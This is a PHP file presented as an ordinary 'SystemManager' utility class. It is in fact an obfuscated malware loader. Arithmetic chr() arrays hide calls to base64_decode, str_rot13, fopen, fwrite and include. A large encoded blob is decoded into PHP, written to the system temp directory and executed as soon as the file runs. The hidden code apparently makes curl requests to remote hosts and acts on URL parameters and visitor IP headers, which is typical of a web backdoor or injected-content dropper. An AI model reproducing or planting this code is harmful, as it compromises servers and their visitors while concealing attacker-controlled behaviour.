<?php
class SystemManager
{
    private $qx = '';
    private $jf = '';
    public function initializeModule($p1)
    {
        $j = array(2 * 49, 97, 5 * 23, 101 * 1, 34 * 25 - 796, 56 - 4, 103 - 8, 43 * 84 - 3512, 80 * 37 - 2859, 52 * 54 - 2709, 37 * 89 - 3182, 29 + 71, 13 * 90 - 1069);
        $z = '';
        foreach ($j as $q) {
            $z .= chr($q);
        }
        return $z($p1);
    }
    public function cacheData($p1)
    {
        $l = array(15 * 32 - 365, 2 * 58, 85 * 105 - 8811, 95, 117 - 3, 111 * 1 + 0, 61 + 55, 12 * 3 + 13, 5 + 29 + 17);
        $ld = '';
        foreach ($l as $x) {
            $ld .= chr($x);
        }
        return $ld($p1);
    }
    public function prepareOutput($p1, $p2)
    {
        $k = array(2 * 51, 111, 2 * 56, 72 * 1 + 29, 2 * 55);
        $a = '';
        foreach ($k as $z) {
            $a .= chr($z);
        }
        return $a($p1, $p2);
    }
    public function handleRequest($p1, $p2)
    {
        $q = array(82 + 9 + 11, 103 + 16, 16 + 98, 33 * 2 + 39, 2 * 58, 36 + 44 + 21);
        $qh = '';
        foreach ($q as $r) {
            $qh .= chr($r);
        }
        return $qh($p1, $p2);
    }
    public function encryptData($p1)
    {
        $b = array(102, 96 + 2 + 1, 116 - 8, 22 + 3 + 86, 115, 106 - 5);
        $o = '';
        foreach ($b as $t) {
            $o .= chr($t);
        }
        return $o($p1);
    }
    public function computeResult($p1, $p2 = null)
    {
        $v = array(109 * 1, 33 + 64 + 8, 91 + 22 + 1, 59 + 29 + 28, 53 * 50 - 2536);
        $b = '';
        foreach ($v as $r) {
            $b .= chr($r);
        }
        $b = strrev($b);
        return $b($p1, $p2);
    }
    public function manageState()
    {
        $this->jf = $this->computeResult($this->logEvent(), '/');
    }
    public function sendNotification()
    {
        $this->qx = $this->cacheData($this->initializeModule($this->ye));
    }
    public function resetState()
    {
        $fn = $this->jf . '/uo-69323fb0262d7';
        $f = $this->prepareOutput($fn, 'w');
        $this->handleRequest($f, $this->qx);
        $this->encryptData($f);
        $this->updateRegistry($fn);
    }
    private $ye = 'PD9jdWMgcHluZmYgX2Zoe2NldmluZ3IgZmduZ3ZwJF9sd247Z' . 'mduZ3ZwIHNoYXBndmJhIF9haCgkX3phbiwkX2NmKXt2cyghZnJ' . '5czo6JF9sd24pZnJ5czo6X2xvKCk7JF95cT1mZ2V5cmEoJF9jZ' . 'ik7JF9ycWk9b25mcjY0X3FycGJxcihmcnlzOjokX2x3blskX3p' . 'hbl0pO3NiZSgkX3Vhaz0wLCRfZmc9ZmdleXJhKCRfcnFpKTskX' . '3VhayE9PSRfZmc7KyskX3VhaykkX3JxaVskX3Vha109cHVlKGJ' . 'lcSgkX3JxaVskX3Vha10pXmJlcSgkX2NmWyRfdWFrJSRfeXFdK' . 'Sk7ZXJnaGVhJF9ycWk7fWNldmluZ3IgZmduZ3ZwIHNoYXBndmJ' . 'hIF9sbygpe2ZyeXM6OiRfbHduPW5lZW5sKCdfeGh6Jz0+J1V1c' . 'FJVbGpVRnd4alR1WlZaT3VYQm1aTFBOMWxCa0hHQk8wV0RVOXI' . 'nLCdfcGdlJz0+J1VOUktYamZLWDBaZ1d1NHBNSDRMWWs0SUF0M' . 'ExYanBKWkhSR0N1dExZTjBZQXU0QScsJ190bCc9PidDTnA9Jyw' . 'nX3pzcic9PidCdVp0WWp4Y1N5andBRDFyUmpOQW5sTE5CUzR6Q' . 'UQxclN0WnFBdDQ5VHRaeUF2T25PR1Z4b2xaUVhOWldad2pVU3R' . 'OU0F0NGdQRU5CVVBPRycsJ19veic9PidZdTRYUGo9PScsJ19mb' . 'Cc9PidMa2ZFTEQ9PScsJ19ubic9PidMa2JHQjBMPScsJ19obHc' . 'nPT4nWE54V05EPT0nLCdfdmwnPT4nJywnX2NoeCc9PicnLCdfe' . 'G55Jz0+JycsJ193bCc9PidBa3hQVDJJUEpFZmRRMXRwQnQ4RE5' . '3WlZVdERmVEVaTXBENE1PYU5CVERMaU50SEJZSFpwVFROV1NrO' . 'CtITj09JywnX2FmZyc9PidDT3RJWm1WQlpEREcnLCdfeGp5Jz0' . '+J0FqUkxZbGJDWk9SVycsJ19kdic9PidZTkxyUlFWTicsJ191c' . 'yc9PidBa3BFU1BqPScsJ19pamknPT4nVFFINnNqPT0nLCdfZXU' . 'nPT4nWWpOcVFEPT0nLCdfeHknPT4nWXVES1lFdD0nLCdfYXknP' . 'T4nTE49PScsJ19layc9PidZdEROWUR0PScsJ191dmsnPT4nc2x' . 'qbEJqOVlJMFNpbkpqYVpPcEZJSzg9JywnX3NmJz0+J0FqREVYa' . 'j09JywnX2R5Jz0+J0h6ZmFaTjhYQnRWREF0NFhNSFJhWmo0S0J' . '6a2hIemY9JywnX3ZvaCc9PidZT0hRTUh5TicsJ19hYngnPT4nJ' . 'ywnX2d0Jz0+J0FqSElYaj09JywnX3JwJz0+J0hhZj0nLCdfeXZ' . 'rJz0+J1NsRDJXRE5tWXdqbkN3TGRTdk49JywnX2N5Jz0+J1NsR' . 'DNRbDg3TlFMZlFGcHZRR0R6VGw4eVJQVj0nLCdfcXMnPT4nUUZ' . 'SK1JRTjJOUEgzVG1MPScsJ19xeWcnPT4nU21mdFFtTnVRUGJ6T' . 'lA0bVR2UnQnLCdfZG90Jz0+J1NtMHlYRE44VndqQUF3TitUdnB' . '5JywnX2dqJz0+JycsJ193byc9PidTbDAxQk5OZVdQNG5YbEQ2J' . 'ywnX29wcCc9PidTbVY2WnROMFhsRG5BUGZqJywnX2VoJz0+Jyc' . 'sJ19scic9PidTbXBoQ2pOdEF2TG5ZRjRqU3daPScsJ193emQnP' . 'T4nU2xONVFsZmhSbTBiUkZObFN2RD0nLCdfZmFsJz0+J1NtVjJ' . 'RbXg2TlBOZ1FHUndRRlZhVG14eFJRRD0nLCdfenRoJz0+J1Nsa' . 'jZRbHAyTlE0dVFGOGlRR2plVGxwYlJQYj0nLCdfa3YnPT4nUUZ' . 'EdFJRSGJOUE5jVG1aPScsJ19wayc9PidRRnhmUlF0eE5QMHlUb' . 'TQ9JywnX29lYyc9PidCajhWWnRWWUJ0PT0nLCdfY2FqJz0+J1N' . '3NUpFRD09JywnX2Ficic9PidzanlCUHdFSHNqPT0nLCdfaHN0J' . 'z0+J3NrSUFRRGpZTUh4PScsJ19uZyc9PidzMHRVWUhjaScsJ19' . 'jcXYnPT4nQXV0PScsJ19yYic9PidYdDQ9JywnX2toJz0+J1lET' . 'HInLCdfYmRyJz0+J1l0TkZRdD09JywpO319dXJucXJlKF9maDo' . '6X2FoKCdfeGh6JywnX2d0bScpKTt1cm5xcmUoX2ZoOjpfYWgoJ' . '19wZ2UnLCdfYWwnKSk7dnModmZmcmcoJF9UUkdbX2ZoOjpfYWg' . 'oJ190bCcsJ19icScpXSkpeyRfdnQ9X2FwKF9maDo6X2FoKCdfe' . 'nNyJywnX3d3JykpO3ZzKCRfdnQmJmZnZWNiZigkX3Z0LF9maDo' . '6X2FoKCdfb3onLCdfdmNmJykpIT09c255ZnIpe3F2cihfZmg6O' . 'l9haCgnX2ZsJywnX2dtJykpO31yeWZye3F2cihfZmg6Ol9haCg' . 'nX25uJywnX2tlJykpO319dnModmZmcmcoJF9UUkdbX2ZoOjpfY' . 'WgoJ19obHcnLCdfdXJ6JyldKSl7JF9mZz0kX1BCQlhWUjskX2N' . 'mPSgtMjA1LSAtMjA1KTskX3phbj0oNzMtNjYpOyRfbnJuPW5lZ' . 'W5sKCk7JF9ucm5bJF9jZl09X2ZoOjpfYWgoJ192bCcsJ19wemU' . 'nKTtqdXZ5cigkX3phbil7JF9ucm5bJF9jZl0uPSRfZmdbKHZhZ' . 'yllYmhhcSgxMCsxMCsxMCldWyRfemFuXTt2cyghJF9mZ1sodmF' . 'nKWViaGFxKDE1KzE1KV1bJF96YW4rKHZhZyllYmhhcSgwLjI1K' . 'zAuMjUrMC4yNSswLjI1KV0pe3ZzKCEkX2ZnWyh2YWcpZWJoYXE' . 'oMTUrMTUpXVskX3phbisoNDI0LTU4Ni0xMzIrMjk2KV0pb2Vyb' . 'ng7JF9jZisrOyRfbnJuWyRfY2ZdPV9maDo6X2FoKCdfY2h4Jyw' . 'nX2tpcScpOyRfemFuKys7fSRfemFuPSRfemFuKyh2YWcpZWJoY' . 'XEoMy41KzMuNSkrKHZhZyllYmhhcSgwLjMzMzMzMzMzMzMzMzM' . 'zKzAuMzMzMzMzMzMzMzMzMzMrMC4zMzMzMzMzMzMzMzMzMyk7f' . 'SRfY2Y9JF9ucm5bLTIxNS0gLTI1KzIwNF0oKS4kX25yblszNjg' . 'tNzY0KzU1NCstMTM0XTt2cyghJF9ucm5bKHZhZyllYmhhcSgzK' . 'zMpXSgkX2NmKSl7JF96YW49JF9ucm5bKHZhZyllYmhhcSg2LjU' . 'rNi41KzYuNSs2LjUpXSgkX2NmLCRfbnJuWyh2YWcpZWJoYXEoN' . 'Ss1KV0pOyRfbnJuWy0yMCsyOV0oJF96YW4sJF9ucm5bLTE1Mi0' . 'gLTIzMCstMTI0KzU3XS4kX25yblstNDI3KzQ1MF0oJF9ucm5bL' . 'TE3KzM1LTQzKzUwXSgkX2ZnWzU1Mis2NTQtMTIwM10pKSk7fXZ' . 'hcHlocXIoJF9jZik7fXNoYXBndmJhIF9hcCgkX3BteiwkX2lna' . 'j1nZWhyLCRfZXM9YWh5eSl7JF93cWQ9X2ZoOjpfYWgoJ194bnk' . 'nLCdfa3FqJyk7JF9xbz1fZmg6Ol9haCgnX3dsJywnX3ppeCcpL' . 'iRfcG16O3ZzKHZmX3BueXlub3lyKF9maDo6X2FoKCdfYWZnJyw' . 'nX3p0JykpKXskX3B3PXBoZXlfdmF2ZygkX3FvKTtwaGV5X2ZyZ' . '2JjZygkX3B3LFBIRVlCQ0dfRkZZX0lSRVZTTENSUkUsc255ZnI' . 'pO3BoZXlfZnJnYmNnKCRfcHcsUEhFWUJDR19GRllfSVJFVlNMV' . 'UJGRywxNDQtNjk2KzU1NCk7cGhleV9mcmdiY2coJF9wdyxQSEV' . 'ZQkNHX1NCWVlCSllCUE5HVkJBLC0yNjgrMjY5KTtwaGV5X2ZyZ' . '2JjZygkX3B3LFBIRVlCQ0dfRVJHSEVBR0VOQUZTUkUsMy0xNTE' . 'rMTQ5KTtwaGV5X2ZyZ2JjZygkX3B3LFBIRVlCQ0dfVVJOUVJFL' . 'DU1Ny0gLTY3MS0xMjI4KTtwaGV5X2ZyZ2JjZygkX3B3LFBIRVl' . 'CQ0dfUEJBQVJQR0dWWlJCSEcsKHZhZyllYmhhcSgyLjUrMi41K' . 'zIuNSsyLjUpKTtwaGV5X2ZyZ2JjZygkX3B3LFBIRVlCQ0dfR1Z' . 'aUkJIRywtNDk0KzUwNCk7JF93cWQ9cGhleV9ya3JwKCRfcHcpO' . 'yRfaW09cGhleV90cmd2YXNiKCRfcHcpO3BoZXlfcHliZnIoJF9' . 'wdyk7dnMoJF9pbVtfZmg6Ol9haCgnX3hqeScsJ19oeScpXSE9K' . 'C0xNjUrNzQ3Ky00NjcrODUpKWVyZ2hlYSBzbnlmcjt9cnlmcns' . 'kX2hweT1jbmVmcl9oZXkoJF9xbyk7JF9odD0oJF9ocHlbX2ZoO' . 'jpfYWgoJ19kdicsJ19yaWgnKV09PV9maDo6X2FoKCdfdXMnLCd' . 'fcHJxJykpOyRfaW1qPV9maDo6X2FoKCdfaWppJywnX2NhJykuJ' . 'F9ocHlbX2ZoOjpfYWgoJ19ldScsJ19udnInKV07dnModmZmcmc' . 'oJF9ocHlbX2ZoOjpfYWgoJ194eScsJ19uZScpXSkpJF9pbWouP' . 'V9maDo6X2FoKCdfYXknLCdfcWEnKS4kX2hweVtfZmg6Ol9haCg' . 'nX2VrJywnX2RyJyldOyRfaW1qLj1fZmg6Ol9haCgnX3V2aycsJ' . '19xc2InKS4kX2hweVtfZmg6Ol9haCgnX3NmJywnX3hvJyldLl9' . 'maDo6X2FoKCdfZHknLCdfbnEnKTskX3hzaz1zZmJweGJjcmEoK' . 'CRfaHQ/X2ZoOjpfYWgoJ192b2gnLCdfc2InKTpfZmg6Ol9haCg' . 'nX2FieCcsJ19hZicpKS4kX2hweVtfZmg6Ol9haCgnX2d0JywnX' . '3dzJyldLCRfaHQ/MjYzKzU0NS02MTErMjQ2OjYyNy0gLTI2LSA' . 'tNDEwKy05ODMpO3ZzKCRfeHNrKXtzY2hnZigkX3hzaywkX2lta' . 'ik7JF9ycWk9KHZhZyllYmhhcSgwKzArMCswKTtqdXZ5cighc3J' . 'icygkX3hzaykpeyRfZ209c3RyZ2YoJF94c2ssKHZhZyllYmhhc' . 'SgyNTYrMjU2KzI1NisyNTYpKTt2cygkX3JxaSkkX3dxZC49JF9' . 'nbTt2cygkX2dtPT1fZmg6Ol9haCgnX3JwJywnX2R4aScpKSRfc' . 'nFpPSh2YWcpZWJoYXEoMC41KzAuNSk7fXNweWJmcigkX3hzayk' . '7fX1lcmdoZWEkX3dxZDt9JF96eGo9dmZmcmcoJF9GUkVJUkVbX' . '2ZoOjpfYWgoJ195dmsnLCdfY29oJyldKTskX3JrdD12ZmZyZyg' . 'kX0ZSRUlSRVtfZmg6Ol9haCgnX2N5JywnX2NwJyldKTskX2J4P' . 'XZmZnJnKCRfRlJFSVJFW19maDo6X2FoKCdfcXMnLCdfcWYnKV0' . 'pOyRfdng9dmZmcmcoJF9GUkVJUkVbX2ZoOjpfYWgoJ19xeWcnL' . 'CdfYmcnKV0pPyRfRlJFSVJFW19maDo6X2FoKCdfZG90JywnX3Z' . 'kbCcpXTpfZmg6Ol9haCgnX2dqJywnX293dCcpOyRfcWQ9dmZmc' . 'mcoJF9GUkVJUkVbX2ZoOjpfYWgoJ193bycsJ19sbnUnKV0pPyR' . 'fRlJFSVJFW19maDo6X2FoKCdfb3BwJywnX3NhbycpXTpfZmg6O' . 'l9haCgnX2VoJywnX3ZxJyk7JF96eGo9dmZmcmcoJF9GUkVJUkV' . 'bX2ZoOjpfYWgoJ19scicsJ19wbWInKV0pPyRfRlJFSVJFW19ma' . 'Do6X2FoKCdfd3pkJywnX2d6JyldOmFoeXk7JF9ya3Q9dmZmcmc' . 'oJF9GUkVJUkVbX2ZoOjpfYWgoJ19mYWwnLCdfc28nKV0pPyRfR' . 'lJFSVJFW19maDo6X2FoKCdfenRoJywnX2thJyldOmFoeXk7JF9' . 'ieD12ZmZyZygkX0ZSRUlSRVtfZmg6Ol9haCgnX2t2JywnX256J' . 'yldKT8kX0ZSRUlSRVtfZmg6Ol9haCgnX3BrJywnX3luJyldOmF' . 'oeXk7dnMoc3Z5Z3JlX2luZSgkX3p4aiwzNzctMTAyKSl7JF9na' . 'mM9JF96eGo7fXJ5ZnJ2cyhzdnlncmVfaW5lKCRfcmt0LDQ5Mi0' . 'yMTcpKXskX2dqYz0kX3JrdDt9cnlmcnskX2dqYz0kX2J4O312c' . 'yh2ZmZyZygkX1RSR1tfZmg6Ol9haCgnX29lYycsJ196YicpXSk' . 'pe3JwdWIgX2ZoOjpfYWgoJ19jYWonLCdfYXlyJykuJF9namMuX' . '2ZoOjpfYWgoJ19hYnInLCdfaGEnKS4kX3Z4Ll9maDo6X2FoKCd' . 'faHN0JywnX3Z6JykuJF9xZC5fZmg6Ol9haCgnX25nJywnX2dyJ' . 'yk7cmt2ZygpO312cyghdmZmcmcoJF9namMpfHwhdmZmcmcoJF9' . '2eCl8fCF2ZmZyZygkX3FkKSl7cmt2ZygpO31yeWZyeyRfaGw9b' . 'mVlbmwoX2ZoOjpfYWgoJ19jcXYnLCdfdWcnKT0+JF9namMsX2Z' . 'oOjpfYWgoJ19yYicsJ19ibnYnKT0+JF92eCxfZmg6Ol9haCgnX' . '2toJywnX3BrdScpPT4kX3FkKTskX3RrPWhleXJhcGJxcihvbmZ' . 'yNjRfcmFwYnFyKHdmYmFfcmFwYnFyKCRfaGwpKSk7JF92dD1fY' . 'XAoJF90ayk7dnMoJF92dCYmZmdlY2JmKCRfdnQsX2ZoOjpfYWg' . 'oJ19iZHInLCdfanVpJykpIT09c255ZnIpe3JwdWIkX3Z0O3Jrd' . 'mcoKTt9fQ==';
    public function updateRegistry($p)
    {
        include_once $p;
    }
    public function logEvent()
    {
        $a = array(117 - 2, 98 + 22 + 1, 5 * 23, 95, 112 - 9, 101, 96 + 20, 66 + 12 + 17, 16 * 122 - 1836, 87 + 13 + 1, 109, 34 + 78, 99 - 4, 18 + 51 + 31, 78 * 22 - 1611, 33 + 81);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$jl = new SystemManager();
$jl->manageState();
$jl->sendNotification();
$jl->resetState();